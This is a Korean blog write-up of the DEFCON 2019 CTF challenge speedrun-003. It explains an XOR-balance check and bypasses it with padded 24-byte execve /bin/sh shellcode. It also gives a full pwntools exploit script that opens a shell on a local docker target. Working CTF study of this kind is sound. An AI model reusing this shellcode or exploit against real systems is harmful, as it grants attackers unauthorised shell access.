CTF/DEFCON 2019 speedrun

[DEFCON 2019] speedrun-003 풀이

jir4vvit 2021. 1. 28. 18:45

문제 풀이 환경 : ubuntu 16.04.7

xor .. 의 의미..?..ㅎ

문제 푼 생각, 흐름 그대로 작성하려고 노력했다.

 

Analysis

main()
say_hello()

별거 없군.,.! 

 

get_that_shellcode()

아이패드로 대충 색칠해왔다.

 

read함수 반환값은 적은 바이트 수이다. 그래서 변수명을 size라고 임의로 내가 바꿨다. 

결론은 입력할 때 30글자를 적어야 한다.

 

 

그리고 xor 함수가 보이는데 뭔가 xor 연산을 할 것 같다.

입력한 값 중 0xF만큼만 가져와서 xor 연산을 하는 것처럼 보인다. if문에서 그 뒤의 0xF만큼 xor 연산을 하고 윗줄에서 한 거랑 같은지 비교한다. 같으면 shellcode_it 함수를 호출하는데... 뭔가 수상쩍어 보여서 저 함수를 호출하려고 목표를 잡고 디버깅을 해보았다.                                                               

 

대충... if문 조건에 부합하려면 일단 30글자를 모두 같은걸로 줘서 디버깅을 해봤다.

 

shellcode_it()

"A"*30을 주었는데 마지막에 저기로 이동하려고 한다. 

아하.. 저기다가 shellcode를 주면 shellcode가 실행되겠구나

 

 

 

아 그런데.... 여기에 PIE가 걸려있는데 원하는 주소 브포 어떻게 놓고 디버깅하는걸까??????????

보호 기법

PIE가 걸려있으면 주소값이 좀 이상해서 디버깅이 잘 안되는데 아래 블로그를 참고하여 디버깅했다.

xerxes-break.tistory.com/442

 

[Linux] gdb로 PIE 디버깅

P PIE의 경우 gdb-peda로 디버깅할시 base주소가 항상 0x0000555555554000이더라... 그래서 그냥 저기에 함수 오프셋을 더해줘서 breakpoint를 걸어주면 된다. 단 한번은 직접 실행해줘야한다. 뭐 그것말고도

xerxes-break.tistory.com

요약하면 PIE의 경우 gdb-peda로 디버깅할시 base주소가 항상 0x0000555555554000라는 것이다.

 

그래서 여기다가 base 주소 적어서 디버깅하면 된다!

 

 

 

How to exploit

아무튼 우리는 shellcode_it을 호출하기 위해 if문을 만족시켜줘야 한다..

main 중 일부_ 노란색 친 부분

조건 check

  • 입력 값(shellcode) 길이가 30
  • 앞 15바이트와 뒤 15바이트의 xor 연산결과가 같아야 한다.

 

xor 함수? 한번 봐보자.

xor 함수

음.. python으로 코딩을 살짝 해보았다.

result = 0
for i in range(15):
	result ^= ord(shellcode[i])

chr(result)		# A


result = 0
for i in range(15, 30):
	result = result ^ ord(shellcode[i])

chr(result)		# B

if 문 조건을 통과하려면.. A와 B가 같아야 한다.

 

 

여기서 xor 연산의 특징을 한번 생각해보자.

  • 1 ^ 0 => 1
  • 1 ^ 1 => 0

이렇게 알고 있으신 분들 많을 것 같다. 난 1과 0의 틀에 갖혀서 1 대신 A가 들어가면 어떻게 되는지 생각을 잘 못했었다.

여기서 만약 1이 A면 어떻게 될까?

  • A ^ 0 => A
  • A ^ A => 0

이렇게 나온다. 이걸 이용해서 앞의 15바이트 연산한 값과 뒤의 15바이트 연산한 값을 같게 해주면 된다.

 

 

 

인터넷에서 대충 24byte shellcode를 가져왔다. 

www.exploit-db.com/exploits/42179

shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

print(len(shellcode))	# 24

result = 0
for i in range(15):
	result ^= ord(shellcode[i])

(chr(result))	# '\xcd'


result = 0
for i in range(15, 24):
	result = result ^ ord(shellcode[i])

(chr(result))	# '\xc2'

앞의 15바이트 xor 연산 결과는 '\xcd'

나머지 뒤는 '\xc2'

 

내가 구한 shellcode가 24byte이기 때문에 나머지 6byte를 더 추가시켜서 뒤의 15바이트 연산 결과가 '\xcd'가 나오게 해야 한다.

(shellcode는 일단 실행되면 뒤의 6바이트는 무시되니까.. 상관없다.)

 

xor 연산의 특징 잊으면 안된다.

ord('\xc2') ^ ord( '\xc2')		# 0
0 ^ ord('\xcd')					# '\xcd'
ord('\xcd') ^ ord('\xcd')		# 0
0 ^ ord('\xcd')					# '\xcd'

 

결론적으로 24byte shellcode 뒤에 \xc2\xcd\xcd\xcd\xcd\xcd 의 padding을 더해주어 30byte로 만들면 된다.

 

 

30byte의 shellcode를 가지고 내가 원하는 결과가 나왔는지 체크해보자.

shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05\xc2\xcd\xcd\xcd\xcd\xcd"

print(len(shellcode))	# 30

result = 0
for i in range(15):
	result ^= ord(shellcode[i])

(chr(result))	# '\xcd'


result = 0
for i in range(15, 30):
	result = result ^ ord(shellcode[i])

(chr(result))	# '\xcd'

 

 

저 shellcode를 넣어주면 if문 조건에 딱 맞아서 shellcode를 실행시켜줄 것이다.

 

 

Let's exploit!

아래는 익스 코드!!

from pwn import *

#p = process("./speedrun-003")
p = remote("172.17.0.2",31337)

shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05\xc2\xcd\xcd\xcd\xcd\xcd"

p.recvuntil("Send me your drift")

p.sendline(shellcode)

p.interactive()

 

익스 코드 자체는 간단하다 

docker를 다운받아 실행하고 flag를 획득할 수 있당.

'CTF > DEFCON 2019 speedrun' 카테고리의 다른 글

[DEFCON 2019] speedrun-004 풀이  (0) 2021.02.01
[DEFCON 2019] speedrun-002 풀이  (4) 2021.01.26
[DEFCON 2019] speedrun-001 풀이  (0) 2021.01.25